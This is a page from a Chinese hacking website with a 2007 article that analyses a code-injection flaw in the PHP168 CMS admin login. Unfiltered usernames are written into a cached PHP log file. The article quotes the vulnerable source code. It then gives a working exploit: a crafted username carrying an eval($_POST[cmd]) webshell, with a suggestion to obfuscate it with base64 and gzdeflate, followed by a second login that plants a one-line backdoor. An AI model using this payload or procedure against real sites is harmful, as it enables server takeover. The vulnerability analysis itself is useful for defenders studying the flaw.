黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]PHP168 CMS的一次新异漏洞分析
      ★★★★★

PHP168 CMS的一次新异漏洞分析

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-7-20 9:17:51
admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞
以下是引用片段:
 if( $_POST[loginname] && $_POST[loginpwd] )
 {
 if( $webdb[yzImgAdminLogin] ){
 if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
 die("<A HREF=?>验证码不符合</A>");
 }else{
 set_cookie("yzImgNum","");
 }
 }
 $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
 if(!$rs){
 login_logs($_POST[loginname],$_POST[loginpwd]);
 setcookie("Admin",'',0,"/");
 die("<A HREF=?>用户不存在</A>");
 }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
 login_logs($_POST[loginname],$_POST[loginpwd]);
 setcookie("Admin",'',0,"/");
 die("<A HREF=?>密码不正确</A>");
 }elseif(!$rs[uid]){
 Add_memberdata($_POST[loginname]);
 }else{
 login_logs($_POST[loginname],md5($_POST[loginpwd]));
 $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]);
 //@include(PHP168_PATH."cache/warn.php");
 setcookie("Admin",$_COOKIE[Admin],0,"/");
 }
 }


我们看这一段,

以下是引用片段:
 if(!$rs){
 login_logs($_POST[loginname],$_POST[loginpwd]);
 setcookie("Admin",'',0,"/");
 die("<A HREF=?>用户不存在</A>");
 }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){


如果用户名与密码不对,也一样写入(login_logs),我们跟下这个函数
以下是引用片段:
 function login_logs($username,$password){
 global $timestamp,$onlineip;
 $logdb[]="$username\t$password\t$timestamp\t$onlineip";
 @include(PHP168_PATH."cache/adminlogin_logs.php");
 $writefile="<?php \r\n";
 $jj=0;
 foreach($logdb AS $key=>$value){
 $jj++;
 $writefile.="\$logdb[]=\"$value\";\r\n";
 
 if($jj>200){
 break;
 }
 }
 write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
 }

漏洞出来了,我们先看这一句,$writefile="<?php \r\n"; $writefile这个变量总是会用PHP文件的"<?php"来开始,也就是说被写入的文件一定是PHP文件,这样子才能被include来使用,关键点了!!!!为了include,这个漏洞就产生了,foreach($logdb AS $key=>$value) 这里是遍历循环一个数组,面这个数组值并不是唯一由登录时传入的用户名与密码产生的数组,而是由include包含的以前登录过的用户名与密码一起联合成的数组!!!就是因为include这里包含,当include里面包含时,如果里面有"\""(反邪扛后面跟一个双引号),那们里面的反邪扛就起作用了,比如里面的数组是
 $logdb[]="\"?>;<?phpinfo?> usual 1184814802 192.168.128.192";

当他被include后,就会变成
 $logdb[]=""?>;<?phpinfo?> usual 1184814802 192.168.128.192";

这样子就可以B合前面的一个双引了
OK,这个漏洞还是比较有意思的,比一般的SQL注入等有新意思,所以就分析下了.

好我,明白原理了,大家也知道如何利用了吧?

第一次,我们在用户名与密码那里登录分别提交
 \"?>;<?eval($_POST[cmd])?> ******( 密码随便乱写)
(最好把<?eval($_POST[cmd])?>先base64再gzdeflate)

第二次我们只要随便输入用户名与密码,就可以成功拿到一个一句话后门了

总结: 文件包含可以让自动过滤掉反邪扛,是php的BUG还是?

PS:此漏洞已经有有公布过,但未公布其中原理,今天无意中看到发现者(忘记是谁了)对此漏洞的描述,加班无聊就分析了下
文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886